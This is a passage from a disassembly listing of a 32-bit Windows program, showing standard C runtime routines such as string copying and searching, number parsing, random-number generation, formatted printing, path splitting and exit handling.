sub_41B590 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B5F0 proc near ; CODE XREF: ___:004016C0p
; ___:004016DCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41B673
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41B614
shr ecx, 2
jnz short loc_41B681
jmp short loc_41B635
; ---------------------------------------------------------------------------
loc_41B614: ; CODE XREF: sub_41B5F0+1Bj
; sub_41B5F0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41B642
test al, al
jz short loc_41B64A
test esi, 3
jnz short loc_41B614
mov ebx, ecx
shr ecx, 2
jnz short loc_41B681
loc_41B630: ; CODE XREF: sub_41B5F0+8Fj
and ebx, 3
jz short loc_41B642
loc_41B635: ; CODE XREF: sub_41B5F0+22j
; sub_41B5F0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41B66E
dec ebx
jnz short loc_41B635
loc_41B642: ; CODE XREF: sub_41B5F0+2Bj
; sub_41B5F0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj
test edi, 3
jz short loc_41B664
loc_41B652: ; CODE XREF: sub_41B5F0+72j
mov [edi], al
inc edi
dec ecx
jz loc_41B6E6
test edi, 3
jnz short loc_41B652
loc_41B664: ; CODE XREF: sub_41B5F0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41B6D7
loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj
; sub_41B5F0+F4j
mov [edi], al
inc edi
loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj
dec ebx
jnz short loc_41B66B
pop ebx
pop esi
loc_41B673: ; CODE XREF: sub_41B5F0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B679: ; CODE XREF: sub_41B5F0+A9j
; sub_41B5F0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41B630
loc_41B681: ; CODE XREF: sub_41B5F0+20j
; sub_41B5F0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41B679
test dl, dl
jz short loc_41B6CB
test dh, dh
jz short loc_41B6C1
test edx, 0FF0000h
jz short loc_41B6B7
test edx, 0FF000000h
jnz short loc_41B679
mov [edi], edx
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41B6CF
; ---------------------------------------------------------------------------
loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj
xor edx, edx
mov [edi], edx
loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j
; sub_41B5F0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41B6E1
loc_41B6D7: ; CODE XREF: sub_41B5F0+79j
xor eax, eax
loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41B6D9
loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j
and ebx, 3
jnz short loc_41B66B
loc_41B6E6: ; CODE XREF: sub_41B5F0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41B5F0 endp
; =============== S U B R O U T I N E =======================================
sub_41B6EE proc near ; CODE XREF: sub_41B779+4p
; sub_4247EC+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41B6F6: ; CODE XREF: sub_41B6EE+34j
cmp dword_43C504, 1
jle short loc_41B70E
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_41B71D
; ---------------------------------------------------------------------------
loc_41B70E: ; CODE XREF: sub_41B6EE+Fj
movzx eax, byte ptr [edi]
mov ecx, off_43C2F8
mov al, [ecx+eax*2]
and eax, 8
loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej
test eax, eax
jz short loc_41B724
inc edi
jmp short loc_41B6F6
; ---------------------------------------------------------------------------
loc_41B724: ; CODE XREF: sub_41B6EE+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41B734
cmp esi, 2Bh
jnz short loc_41B738
loc_41B734: ; CODE XREF: sub_41B6EE+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41B738: ; CODE XREF: sub_41B6EE+44j
xor ebx, ebx
loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj
cmp dword_43C504, 1
jle short loc_41B74F
push 4
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_41B75A
; ---------------------------------------------------------------------------
loc_41B74F: ; CODE XREF: sub_41B6EE+53j
mov eax, off_43C2F8
mov al, [eax+esi*2]
and eax, 4
loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj
test eax, eax
jz short loc_41B76B
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_41B73A
; ---------------------------------------------------------------------------
loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41B774
neg eax
loc_41B774: ; CODE XREF: sub_41B6EE+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41B6EE endp
; =============== S U B R O U T I N E =======================================
sub_41B779 proc near ; CODE XREF: ___:00401527p
; sub_401ACD+733p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41B6EE
pop ecx
retn
sub_41B779 endp
; ---------------------------------------------------------------------------
mov eax, off_43A29C
test eax, eax
jz short loc_41B78F
call eax ; sub_41C748
loc_41B78F: ; CODE XREF: ___:0041B78Bj
push offset dword_42902C
push offset dword_429018
call sub_41B86C
push offset dword_429014
push offset dword_429000
call sub_41B86C
add esp, 10h
retn
; ---------------------------------------------------------------------------
push 0
push 0
push dword ptr [esp+0Ch]
call sub_41B7D3
add esp, 0Ch
retn
; =============== S U B R O U T I N E =======================================
sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp
; sub_42255C+2276p ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_41B7D3
add esp, 0Ch
retn
sub_41B7C2 endp
; =============== S U B R O U T I N E =======================================
sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p
; sub_41B7C2+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4DB2C0, edi
jnz short loc_41B7F0
push [esp+4+arg_0]
call near ptr 2710628h
nop
push eax
call near ptr 2700B64h
nop
loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4DB2BC, edi
mov byte_4DB2B8, bl
jnz short loc_41B844
mov eax, dword_4DC91C
test eax, eax
jz short loc_41B833
mov ecx, dword_4DC918
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_41B832
loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41B827
call eax
loc_41B827: ; CODE XREF: sub_41B7D3+50j
sub esi, 4
cmp esi, dword_4DC91C
jnb short loc_41B81F
loc_41B832: ; CODE XREF: sub_41B7D3+4Aj
pop esi
loc_41B833: ; CODE XREF: sub_41B7D3+3Cj
push offset dword_429038
push offset dword_429030
call sub_41B86C
pop ecx
pop ecx
loc_41B844: ; CODE XREF: sub_41B7D3+33j
push offset dword_429044
push offset dword_42903C
call sub_41B86C
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_41B86A
push [esp+4+arg_0]
mov dword_4DB2C0, edi
nop
call near ptr 77E75CB5h
loc_41B86A: ; CODE XREF: sub_41B7D3+85j
pop edi
retn
sub_41B7D3 endp
; =============== S U B R O U T I N E =======================================
sub_41B86C proc near ; CODE XREF: ___:0041B799p
; ___:0041B7A8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_41B871: ; CODE XREF: sub_41B86C+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41B884
mov eax, [esi]
test eax, eax
jz short loc_41B87F
call eax
loc_41B87F: ; CODE XREF: sub_41B86C+Fj
add esi, 4
jmp short loc_41B871
; ---------------------------------------------------------------------------
loc_41B884: ; CODE XREF: sub_41B86C+9j
pop esi
retn
sub_41B86C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B886 proc near ; CODE XREF: ___:004013B0p
; ___:004014B6p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_41F69F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41B8C6
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41B8D3
; ---------------------------------------------------------------------------
loc_41B8C6: ; CODE XREF: sub_41B886+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F58A
pop ecx
pop ecx
loc_41B8D3: ; CODE XREF: sub_41B886+3Ej
mov eax, esi
pop esi
leave
retn
sub_41B886 endp
; =============== S U B R O U T I N E =======================================
sub_41B8D8 proc near ; CODE XREF: ___:00401266p
; sub_401ACD+31A2p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_43A280, eax
retn
sub_41B8D8 endp
; =============== S U B R O U T I N E =======================================
sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p
; ___:loc_4016A7p ...
mov eax, dword_43A280
imul eax, 343FDh
add eax, 269EC3h
mov dword_43A280, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41B8E2 endp
; =============== S U B R O U T I N E =======================================
sub_41B900 proc near ; CODE XREF: ___:0040134Ep
; sub_401ACD+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41B97A
mov dh, [ecx+1]
test dh, dh
jz short loc_41B967
loc_41B918: ; CODE XREF: sub_41B900+52j
; sub_41B900+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41B93A
test al, al
jz short loc_41B934
loc_41B929: ; CODE XREF: sub_41B900+32j
mov al, [esi]
inc esi
loc_41B92C: ; CODE XREF: sub_41B900+3Fj
cmp al, dl
jz short loc_41B93A
test al, al
jnz short loc_41B929
loc_41B934: ; CODE XREF: sub_41B900+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41B93A: ; CODE XREF: sub_41B900+23j
; sub_41B900+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41B92C
lea edi, [esi-1]
loc_41B944: ; CODE XREF: sub_41B900+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41B973
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41B918
mov al, [ecx+3]
test al, al
jz short loc_41B973
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41B944
jmp short loc_41B918
; ---------------------------------------------------------------------------
loc_41B967: ; CODE XREF: sub_41B900+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_41BFB6
; ---------------------------------------------------------------------------
loc_41B973: ; CODE XREF: sub_41B900+49j
; sub_41B900+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_41B97A: ; CODE XREF: sub_41B900+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41B900 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B980 proc near ; CODE XREF: ___:0040133Bp
; sub_401ACD+1C72p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_41F69F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41B9BF
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41B9CC
; ---------------------------------------------------------------------------
loc_41B9BF: ; CODE XREF: sub_41B980+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41F58A
pop ecx
pop ecx
loc_41B9CC: ; CODE XREF: sub_41B980+3Dj
mov eax, esi
pop esi
leave
retn
sub_41B980 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B9D1 proc near ; CODE XREF: ___:00401318p
; sub_401ACD+21D1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41AFE0
cmp eax, 1
pop ecx
jb short loc_41BA0C
cmp byte ptr [ebx+1], 3Ah
jnz short loc_41BA0C
mov esi, [ebp+arg_4]
test esi, esi
jz short loc_41BA08
push 2
push ebx
push esi
call sub_420289
add esp, 0Ch
and byte ptr [esi+2], 0
loc_41BA08: ; CODE XREF: sub_41B9D1+25j
inc ebx
inc ebx
jmp short loc_41BA16
; ---------------------------------------------------------------------------
loc_41BA0C: ; CODE XREF: sub_41B9D1+18j
; sub_41B9D1+1Ej
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41BA16
and byte ptr [eax], 0
loc_41BA16: ; CODE XREF: sub_41B9D1+39j
; sub_41B9D1+40j
and [ebp+arg_4], 0
cmp byte ptr [ebx], 0
mov eax, ebx
mov esi, 0FFh
mov [ebp+arg_0], eax
jz short loc_41BA8E
loc_41BA29: ; CODE XREF: sub_41B9D1+87j
mov cl, [eax]
movzx edx, cl
test byte_4DC7E1[edx], 4
jz short loc_41BA3A
inc eax
jmp short loc_41BA54
; ---------------------------------------------------------------------------
loc_41BA3A: ; CODE XREF: sub_41B9D1+64j
cmp cl, 2Fh
jz short loc_41BA4E
cmp cl, 5Ch
jz short loc_41BA4E
cmp cl, 2Eh
jnz short loc_41BA54
mov [ebp+var_4], eax
jmp short loc_41BA54
; ---------------------------------------------------------------------------
loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj
; sub_41B9D1+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41BA54: ; CODE XREF: sub_41B9D1+67j
; sub_41B9D1+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_41BA29
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_41BA8E
cmp [ebp+arg_8], 0
jz short loc_41BA89
sub edi, ebx
cmp edi, esi
jb short loc_41BA72
mov edi, esi
loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_420289
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41BA89: ; CODE XREF: sub_41B9D1+97j
mov ebx, [ebp+arg_4]
jmp short loc_41BA98
; ---------------------------------------------------------------------------
loc_41BA8E: ; CODE XREF: sub_41B9D1+56j
; sub_41B9D1+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41BA98
and byte ptr [ecx], 0
loc_41BA98: ; CODE XREF: sub_41B9D1+BBj
; sub_41B9D1+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_41BAEB
cmp edi, ebx
jb short loc_41BAEB
cmp [ebp+arg_C], 0
jz short loc_41BAC8
sub edi, ebx
cmp edi, esi
jb short loc_41BAB1
mov edi, esi
loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_420289
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41BB13
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41BAD8
mov esi, eax
loc_41BAD8: ; CODE XREF: sub_41B9D1+103j
push esi
push [ebp+var_4]
push edi
call sub_420289
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41BB13
; ---------------------------------------------------------------------------
loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj
; sub_41B9D1+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_41BB09
sub eax, ebx
cmp eax, esi
jnb short loc_41BAFA
mov esi, eax
loc_41BAFA: ; CODE XREF: sub_41B9D1+125j
push esi
push ebx
push edi
call sub_420289
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41BB13
and byte ptr [eax], 0
loc_41BB13: ; CODE XREF: sub_41B9D1+FCj
; sub_41B9D1+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41B9D1 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BB20 proc near ; CODE XREF: sub_401955+8p
; sub_401ACD+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41BB40
loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41BB2C
loc_41BB40: ; CODE XREF: sub_41BB20+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41BB20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep
; sub_401ACD+75ADp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_41BB63
xor eax, eax
jmp short loc_41BB99
; ---------------------------------------------------------------------------
loc_41BB63: ; CODE XREF: sub_41BB4F+Ej
dec [ebp+arg_4]
push esi
jz short loc_41BB93
mov esi, [ebp+arg_8]
loc_41BB6C: ; CODE XREF: sub_41BB4F+42j
dec dword ptr [esi+4]
js short loc_41BB7B
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41BB82
; ---------------------------------------------------------------------------
loc_41BB7B: ; CODE XREF: sub_41BB4F+20j
push esi
call sub_41F043
pop ecx
loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41BB9D
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_41BB93
dec [ebp+arg_4]
jnz short loc_41BB6C
loc_41BB93: ; CODE XREF: sub_41BB4F+18j
; sub_41BB4F+3Dj ...
and byte ptr [edi], 0
loc_41BB96: ; CODE XREF: sub_41BB4F+55j
mov eax, ebx
pop esi
loc_41BB99: ; CODE XREF: sub_41BB4F+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41BB9D: ; CODE XREF: sub_41BB4F+36j
cmp edi, [ebp+arg_0]
jnz short loc_41BB93
xor ebx, ebx
jmp short loc_41BB96
sub_41BB4F endp
; =============== S U B R O U T I N E =======================================
sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41BBBD
add esp, 10h
retn
sub_41BBA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep
; sub_41BDC5+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41BBD5: ; CODE XREF: sub_41BBBD+46j
cmp dword_43C504, 1
jle short loc_41BBED
movzx eax, bl
push 8
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_41BBFC
; ---------------------------------------------------------------------------
loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj
mov ecx, off_43C2F8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej
test eax, eax
jz short loc_41BC05
mov bl, [esi]
inc esi
jmp short loc_41BBD5
; ---------------------------------------------------------------------------
loc_41BC05: ; CODE XREF: sub_41BBBD+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41BC13
or [ebp+arg_C], 2
jmp short loc_41BC18
; ---------------------------------------------------------------------------
loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej
cmp bl, 2Bh
jnz short loc_41BC1E
loc_41BC18: ; CODE XREF: sub_41BBBD+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_41BC1E: ; CODE XREF: sub_41BBBD+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41BDB5
cmp eax, 1
jz loc_41BDB5
cmp eax, 24h
jg loc_41BDB5
push 10h
test eax, eax
pop ecx
jnz short loc_41BC66
cmp bl, 30h
jz short loc_41BC50
mov [ebp+arg_8], 0Ah
jmp short loc_41BC82
; ---------------------------------------------------------------------------
loc_41BC50: ; CODE XREF: sub_41BBBD+88j
mov al, [esi]
cmp al, 78h
jz short loc_41BC63
cmp al, 58h
jz short loc_41BC63
mov [ebp+arg_8], 8
jmp short loc_41BC82
; ---------------------------------------------------------------------------
loc_41BC63: ; CODE XREF: sub_41BBBD+97j
; sub_41BBBD+9Bj
mov [ebp+arg_8], ecx
loc_41BC66: ; CODE XREF: sub_41BBBD+83j
cmp [ebp+arg_8], ecx
jnz short loc_41BC82
cmp bl, 30h
jnz short loc_41BC82
mov al, [esi]
cmp al, 78h
jz short loc_41BC7A
cmp al, 58h
jnz short loc_41BC82
loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_41BC82: ; CODE XREF: sub_41BBBD+91j
; sub_41BBBD+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj
cmp dword_43C504, 1
movzx esi, bl
jle short loc_41BCAA
push 4
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_41BCB5
; ---------------------------------------------------------------------------
loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj
mov eax, off_43C2F8
mov al, [eax+esi*2]
and eax, 4
loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj
test eax, eax
jz short loc_41BCC1
movsx ecx, bl
sub ecx, 30h
jmp short loc_41BCF3
; ---------------------------------------------------------------------------
loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj
cmp dword_43C504, 1
jle short loc_41BCD5
push edi
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_41BCE0
; ---------------------------------------------------------------------------
loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj
mov eax, off_43C2F8
mov ax, [eax+esi*2]
and eax, edi
loc_41BCE0: ; CODE XREF: sub_41BBBD+116j
test eax, eax
jz short loc_41BD2E
movsx eax, bl
push eax
call sub_420313
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41BCF3: ; CODE XREF: sub_41BBBD+102j
cmp ecx, [ebp+arg_8]
jnb short loc_41BD2E
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41BD18
jnz short loc_41BD12
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41BD18
loc_41BD12: ; CODE XREF: sub_41BBBD+147j
or [ebp+arg_C], 4
jmp short loc_41BD21
; ---------------------------------------------------------------------------
loc_41BD18: ; CODE XREF: sub_41BBBD+145j
; sub_41BBBD+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41BD21: ; CODE XREF: sub_41BBBD+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_41BC92
; ---------------------------------------------------------------------------
loc_41BD2E: ; CODE XREF: sub_41BBBD+125j
; sub_41BBBD+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_41BD4C
test edx, edx
jz short loc_41BD46
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41BD46: ; CODE XREF: sub_41BBBD+181j
and [ebp+var_8], 0
jmp short loc_41BD99
; ---------------------------------------------------------------------------
loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_41BD72
test cl, 1
jnz short loc_41BD99
and ecx, 2
jz short loc_41BD69
cmp [ebp+var_8], 80000000h
ja short loc_41BD72
loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j
test ecx, ecx
jnz short loc_41BD99
cmp [ebp+var_8], eax
jbe short loc_41BD99
loc_41BD72: ; CODE XREF: sub_41BBBD+197j
; sub_41BBBD+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4DB278, 22h
jz short loc_41BD88
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41BD99
; ---------------------------------------------------------------------------
loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj
; sub_41BBBD+19Cj ...
test edx, edx
jz short loc_41BDA2
mov eax, [ebp+var_4]
mov [edx], eax
loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41BDB0
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j
mov eax, [ebp+var_8]
jmp short loc_41BDC0
; ---------------------------------------------------------------------------
loc_41BDB5: ; CODE XREF: sub_41BBBD+66j
; sub_41BBBD+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41BDBE
mov [eax], edi
loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj
xor eax, eax
loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_41BBBD endp
; =============== S U B R O U T I N E =======================================
sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp
; sub_401ACD+6A0Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41BBBD
add esp, 10h
retn
sub_41BDC5 endp
; =============== S U B R O U T I N E =======================================
sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p
arg_0 = dword ptr 4
push [esp+arg_0]
nop
call near ptr 2670237h
test eax, eax
jnz short loc_41BDF2
call near ptr 2670897h
nop
jmp short loc_41BDF4
; ---------------------------------------------------------------------------
loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj
xor eax, eax
loc_41BDF4: ; CODE XREF: sub_41BDDC+14j
test eax, eax
jz short loc_41BE03
push eax
call sub_4203DF
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj
xor eax, eax
retn
sub_41BDDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p
; ___:00411CA1p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_420446
mov esi, eax
